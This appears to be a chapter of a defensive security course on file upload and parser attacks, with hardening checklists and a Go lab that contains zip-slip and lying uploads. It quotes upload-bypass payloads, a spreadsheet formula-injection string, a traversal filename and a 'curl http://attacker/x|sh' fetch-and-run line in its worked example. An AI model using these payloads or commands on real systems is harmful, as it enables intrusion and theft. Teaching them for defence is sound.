Chapter 38 — File upload and parser attacks
In one sentence
An upload feature is an attack surface three times over: the file may be executed (webshell/polyglot), the parser that processes it may be exploitable (ImageMagick, ExifTool, Ghostscript, ffmpeg, XML), and the filename/path may enable traversal — so store dumbly, parse in a sandbox, and never trust any of it.
Where we are
G1 Ch 45 touched path traversal on download. Uploads are a bigger surface and a recurring source of RCE (GitLab via ExifTool, countless ImageTragick cases).
How it works
Threats:
EXECUTION upload `shell.php` (or `.phtml`, `.php5`, `.asp`,
`.aspx`, `.jsp`, `.svg`, `.html`) to a location the web server
executes or serves same-origin. Bypasses: double extension
(`x.php.jpg` + a misconfigured Apache), null byte (`x.php%00.jpg`,
legacy), case (`.pHp`), trailing dot/space, `.php.` , content-type
spoof, a valid image with PHP appended (polyglot), `.htaccess`
upload to re-map handlers, alternate data streams (Windows).
POLYGLOT a file that is BOTH a valid image AND valid HTML/PHP/JS.
Served as an image but the browser/engine treats it as the dangerous
type (MIME sniffing, or the app serves it with the wrong type). GIFAR
(GIF + JAR). Defeated by `X-Content-Type-Options: nosniff` + correct
types + a separate content origin.
PARSER RCE / SSRF the server processes the upload:
ImageMagick -- "ImageTragick" (CVE-2016-3714): MSL/MVG, `|` and
`https://` delegates -> RCE and SSRF. Mitigate with `policy.xml`
(disable coders: MSL, MVG, EPHEMERAL, URL, HTTPS, TEXT, SHOW, WIN,
PLT; set resource limits).
Ghostscript -- `-dSAFER` bypasses (CVE-2018-16509, -19475, ...) ->
RCE via crafted PostScript/EPS/PDF. Keep patched; sandbox.
ExifTool -- CVE-2021-22204: a crafted DjVu file -> Perl code
injection -> RCE (this is how GitLab was popped). Restrict or drop
ExifTool; run sandboxed.
ffmpeg -- HLS/`concat`/`file:`/`http:` in a crafted playlist
(.m3u8/.avi) -> arbitrary file read (SSRF-like) server-side.
Restrict protocols (`-protocol_whitelist`), no network.
libraw / libtiff / libpng / libjpeg-turbo / poppler / mupdf -- native
memory-safety CVEs; keep patched, sandbox.
XML-based (SVG, DOCX, XLSX) -- XXE (Ch 32).
FILENAME / PATH `../../etc/cron.d/x`, `..%2f`, `....//`, absolute
paths, UNC paths, unicode/overlong, null bytes -> write outside the
upload dir, overwrite files.
ARCHIVES zip-slip (`../` in entry names -> write anywhere on
extraction); symlink entries (extract a symlink then a file through
it); zip bombs / nested archives (decompression DoS, Ch 28).
CSV / SPREADSHEET formula injection: a cell starting `=`, `+`, `-`,
`@`, or a tab/CR -> when the victim opens the export in Excel/Sheets,
`=cmd|'/c calc'!A1` / `=HYPERLINK(...)` / data exfil via a web
query. RCE on the DOWNLOADER's machine.
PDF embedded JS, `/Launch`, `/URI`, `/SubmitForm`,
attachments, XFA; the renderer (pdfium/PDF.js/poppler) is the
surface.
Defence:
STORAGE
[ ] Store OUTSIDE the web root, ideally in object storage (S3/GCS)
with a random opaque key. Never use the user's filename in a
path; generate one.
[ ] Serve user content from a SEPARATE origin (usercontent.example)
that has no cookies, no same-origin trust, a restrictive CSP,
and forces `Content-Disposition: attachment` +
`X-Content-Type-Options: nosniff` + a correct/whitelisted
`Content-Type` (or `application/octet-stream`).
[ ] The upload dir/bucket: no execute, no script handlers, no
`.htaccess`/`web.config` interpretation.
VALIDATION
[ ] Validate type by MAGIC BYTES / a real detector (libmagic,
`file`), not extension or `Content-Type`. Then also re-encode
where feasible (decode + re-encode the image; convert to a
canonical format) -- this destroys most polyglots and embedded
payloads.
[ ] Enforce size, dimensions, page/entry counts, decompression ratio.
[ ] For SVG: sanitize (DOMPurify SVG profile) or rasterize; never
serve raw SVG inline same-origin.
[ ] For CSV export: prefix cells starting with = + - @ (and control
chars) with a `'`, or quote-and-escape per the CSV-injection
guidance.
PARSING
[ ] Do it in an ISOLATED sandbox: a container/VM/gVisor with NO
network egress, minimal filesystem, non-root, seccomp,
CPU/mem/time limits. A parser RCE then yields a locked box, and
parser SSRF has nowhere to go.
[ ] Keep parsers patched; disable features you don't need
(ImageMagick `policy.xml`, ffmpeg `-protocol_whitelist`,
Ghostscript `-dSAFER`, drop ExifTool).
[ ] Consider Content Disarm & Reconstruction (CDR) / AV as defence in
depth for documents.
[ ] Rate-limit and quota uploads (Ch 28).
Worked example
Avatar upload -> ExifTool RCE -> contained by the sandbox.
SecureShop resizes avatars and strips EXIF with ImageMagick + ExifTool,
in the main app process.
ATTACK: upload a crafted DjVu file with a `.jpg` extension (magic-byte
check is fooled or skipped). ExifTool (< 12.24) processes the embedded
metadata -> CVE-2021-22204 Perl injection -> `system('curl
http://attacker/x|sh')` runs as the app -> reads DB creds from env,
pivots.
FIX (layered):
- Magic-byte + strict allowlist (JPEG/PNG/WebP only); reject DjVu.
- The resize/strip step runs in a SEPARATE worker: a minimal
container, non-root, read-only FS except a tmp dir, seccomp,
NetworkPolicy egress DENY, 2s CPU / 128MB limits, no secrets in
env. A parser RCE here can't exfil (no egress), can't persist
(ephemeral), can't read secrets (none present), can't reach the DB
(no network).
- Patch/replace ExifTool; or use a metadata stripper that doesn't
shell to Perl.
- Re-encode the image (decode -> re-encode) so metadata and any
polyglot payload are gone.
- Output goes to `usercontent.securesh.op` (cookieless, nosniff,
attachment) -- so even an uploaded HTML/SVG can't run in the app
origin.
- Falco alerts on the worker spawning `curl`/`sh`.
Practice (75 min)
- PortSwigger Academy "File upload vulnerabilities" track: web-shell upload,
content-type bypass, extension blacklist bypass, obfuscated extensions,
polyglot,
.htaccess, race condition on upload, and path traversal in the filename. - Locally: an upload endpoint storing files in the web root with the user's
filename. Get a web shell (
.php, then bypasses). Then apply: object storage- opaque key + separate cookieless origin + re-encode + magic-byte allowlist. Re-test every bypass.
- Parser labs: an app that runs ImageMagick with a default
policy.xml— trip ImageTragick (SSRF viahttps:delegate at least). Fix with a hardenedpolicy.xml. Do the ffmpeg-protocol_whitelist/ HLS file-read repro if you use ffmpeg. - Zip-slip: an extraction routine that trusts entry names; write a file outside the target dir; fix by canonicalising and containing each entry path (G1 Ch 45).
- CSV injection: export user-controlled data to CSV; open in a spreadsheet with
a
=HYPERLINK/=cmdcell; add the leading-quote / escaping fix. - Wrap the whole parsing step in a gVisor pod with egress denied (Part 4); re-run the parser exploits and show containment.
Build it in Go (35 min) — zip slip, lying uploads, and os.Root
Go 1.24 added os.Root: a directory handle that confines every file
operation to that directory at the OS level. ../, absolute paths, and
symlinks that point outside are refused. No string sanitising required. This
lab extracts a malicious archive both ways, then runs an upload handler
against hostile inputs. Everything happens inside a temporary directory.
// safeupload: file upload and archive extraction without the classic bugs
// (Chapter 38): zip slip / path traversal, oversized bodies, and lying
// Content-Types. Uses os.Root (Go 1.24+), which confines every file
// operation to one directory -- "../", absolute paths, and symlinks that
// point outside are all refused by the OS-level API, not by string checks.
//
// go run ./safeupload
package main
import (
"archive/zip"
"bytes"
"crypto/rand"
"encoding/hex"
"fmt"
"io"
"mime/multipart"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
)
// maliciousZip builds an archive whose entry names try to escape the target.
func maliciousZip() []byte {
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
for _, name := range []string{"report.txt", "../escaped.txt", "a/../../escaped2.txt"} {
w, _ := zw.Create(name)
io.WriteString(w, "content of "+name)
}
zw.Close()
return buf.Bytes()
}
// extractNaive is the bug, as written in countless codebases.
func extractNaive(zr *zip.Reader, dest string) {
for _, f := range zr.File {
path := filepath.Join(dest, f.Name) // "../escaped.txt" resolves OUTSIDE dest
os.MkdirAll(filepath.Dir(path), 0o755)
out, err := os.Create(path)
if err != nil {
fmt.Println(" naive:", err)
continue
}
rc, _ := f.Open()
io.Copy(out, rc)
rc.Close()
out.Close()
fmt.Println(" naive: wrote", path)
}
}
// extractSafe opens dest as an os.Root: every path is resolved INSIDE it.
func extractSafe(zr *zip.Reader, dest string) {
root, err := os.OpenRoot(dest)
if err != nil {
panic(err)
}
defer root.Close()
for _, f := range zr.File {
out, err := root.Create(f.Name)
if err != nil {
fmt.Printf(" safe: refused %-22q (%v)\n", f.Name, err)
continue
}
rc, _ := f.Open()
io.Copy(out, io.LimitReader(rc, 10<<20)) // also cap decompressed size: zip bombs
rc.Close()
out.Close()
fmt.Println(" safe: wrote", filepath.Join(dest, f.Name))
}
}
// uploadHandler accepts an image upload safely.
func uploadHandler(store *os.Root) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
r.Body = http.MaxBytesReader(w, r.Body, 1<<20) // 1 MB, enforced while reading
file, hdr, err := r.FormFile("file")
if err != nil {
http.Error(w, "bad upload: "+err.Error(), http.StatusRequestEntityTooLarge)
return
}
defer file.Close()
head := make([]byte, 512)
n, _ := io.ReadFull(file, head)
// Trust the BYTES, not the client's Content-Type header or file name.
sniffed := http.DetectContentType(head[:n])
if sniffed != "image/png" && sniffed != "image/jpeg" {
http.Error(w, fmt.Sprintf("refused: claimed %q, content is %q", hdr.Header.Get("Content-Type"), sniffed), http.StatusUnsupportedMediaType)
return
}
// Never use the client's file name on disk: pick our own.
id := make([]byte, 8)
rand.Read(id)
name := hex.EncodeToString(id) + map[string]string{"image/png": ".png", "image/jpeg": ".jpg"}[sniffed]
out, err := store.Create(name)
if err != nil {
http.Error(w, "store failed", http.StatusInternalServerError)
return
}
defer out.Close()
out.Write(head[:n])
if _, err := io.Copy(out, file); err != nil {
http.Error(w, "too large", http.StatusRequestEntityTooLarge)
return
}
fmt.Fprintf(w, "stored as %s (client said %q)", name, hdr.Filename)
}
}
func upload(url, filename, contentType string, body []byte) string {
var buf bytes.Buffer
mw := multipart.NewWriter(&buf)
h := make(map[string][]string)
h["Content-Disposition"] = []string{fmt.Sprintf(`form-data; name="file"; filename=%q`, filename)}
h["Content-Type"] = []string{contentType}
part, _ := mw.CreatePart(h)
part.Write(body)
mw.Close()
resp, err := http.Post(url, mw.FormDataContentType(), &buf)
if err != nil {
return err.Error()
}
defer resp.Body.Close()
b, _ := io.ReadAll(resp.Body)
return fmt.Sprintf("%d %s", resp.StatusCode, strings.TrimSpace(string(b)))
}
func main() {
sandbox, _ := os.MkdirTemp("", "upload-lab") // everything happens in here
defer os.RemoveAll(sandbox)
os.Chdir(sandbox) // so the paths below are short and relative
data := maliciousZip()
zr, _ := zip.NewReader(bytes.NewReader(data), int64(len(data)))
fmt.Println("1. extracting a malicious archive into naive/x/")
naive := filepath.Join("naive", "x")
os.MkdirAll(naive, 0o755)
extractNaive(zr, naive)
fmt.Println("2. the same archive with os.Root")
safe := "safe"
os.MkdirAll(safe, 0o755)
extractSafe(zr, safe)
fmt.Println("3. uploads")
os.MkdirAll("uploads", 0o755)
store, _ := os.OpenRoot("uploads")
defer store.Close()
srv := httptest.NewServer(uploadHandler(store))
defer srv.Close()
png := append([]byte("\x89PNG\r\n\x1a\n"), make([]byte, 100)...)
fmt.Println(" real PNG ->", upload(srv.URL, "cat.png", "image/png", png))
fmt.Println(" HTML pretending to be a PNG ->", upload(srv.URL, "cat.png", "image/png", []byte("<html><script>alert(1)</script>")))
fmt.Println(" path in the file name ->", upload(srv.URL, "../../etc/cron.d/x", "image/png", png))
fmt.Println(" 5 MB body ->", upload(srv.URL, "big.png", "image/png", append(png, make([]byte, 5<<20)...)))
}
$ go run ./safeupload
1. extracting a malicious archive into naive/x/
naive: wrote naive/x/report.txt
naive: wrote naive/escaped.txt
naive: wrote naive/escaped2.txt
2. the same archive with os.Root
safe: wrote safe/report.txt
safe: refused "../escaped.txt" (openat ../escaped.txt: path escapes from parent)
safe: refused "a/../../escaped2.txt" (openat a/../../escaped2.txt: no such file or directory)
3. uploads
real PNG -> 200 stored as 4b2912fe70d50985.png (client said "cat.png")
HTML pretending to be a PNG -> 415 refused: claimed "image/png", content is "text/html; charset=utf-8"
path in the file name -> 200 stored as dcfcf6f61433c71a.png (client said "x")
5 MB body -> 413 bad upload: http: request body too large
What to notice:
- The naive extractor wrote outside its directory twice.
filepath.Joincleans../rather than rejecting it, which is exactly the zip-slip bug. os.Rootrefused both escapes with no validation code at all.- The client's
Content-Typewas a lie, and the bytes weren't.http.DetectContentTypefound HTML, which would be stored XSS if served back from your domain. - Go's multipart parser already reduced
../../etc/cron.d/xtox(it appliesfilepath.Baseto file names). The handler doesn't rely on that and picks its own random name anyway. Defence in depth means not depending on a library's courtesy. MaxBytesReaderenforced the limit while reading, so the 5 MB body was never buffered.
Exercises:
- Add a symlink entry to the archive (
zipstores the mode) pointing to/etcand confirmos.Rootrefuses to follow it. - Serve stored uploads from a separate domain with
Content-Disposition: attachmentandX-Content-Type-Options: nosniff. - Add decompression-bomb protection for images: check dimensions with
image.DecodeConfigbefore decoding the pixels.
Common mistakes
- Trusting
Content-Typeor the extension. Check magic bytes; better, re- encode. - Storing uploads in the web root and serving them same-origin. Separate
cookieless origin, forced attachment,
nosniff. - Using the client's filename in a path. Generate an opaque name; never concatenate user input into a filesystem path.
- Parsing untrusted files in the main app process with network + secrets. A parser CVE = full compromise. Sandbox with no egress.
- ImageMagick/Ghostscript/ExifTool/ffmpeg with default config. Disable coders/delegates/protocols you don't need; keep patched.
- Serving raw SVG inline. It's XML (XXE) and can carry script. Sanitize or rasterize; serve as attachment from the content origin.
- Extracting archives without path containment. Zip-slip and symlink escapes.
- CSV/XLSX exports without formula-injection escaping. RCE on your users' machines.
Check yourself
- Name the three distinct attack surfaces an upload feature presents.
- Why does "re-encode the image" defeat both polyglots and many parser payloads?
- Give three real parser vulnerabilities (tool + effect) that came from processing uploads.
- What is zip-slip and how do you prevent it?
- Why serve user content from a separate, cookieless origin?
- What is CSV formula injection and where does the code execute?
Further reading
- Cheat sheet: OWASP "File Upload Cheat Sheet"; "CSV Injection" (OWASP).
- Labs: PortSwigger Academy file-upload track.
- Research: "ImageTragick" (imagetragick.com); the GitLab ExifTool RCE (CVE-2021-22204) write-up; "How to exploit ffmpeg" (HLS/SSRF); "Exploiting Ghostscript" (Tavis Ormandy).
- Hardening: ImageMagick
policy.xmlreference; ffmpeg-protocol_whitelist; the "SVG security" and "DOMPurify SVG profile" docs;X-Content-Type-Optionsand content-origin isolation patterns.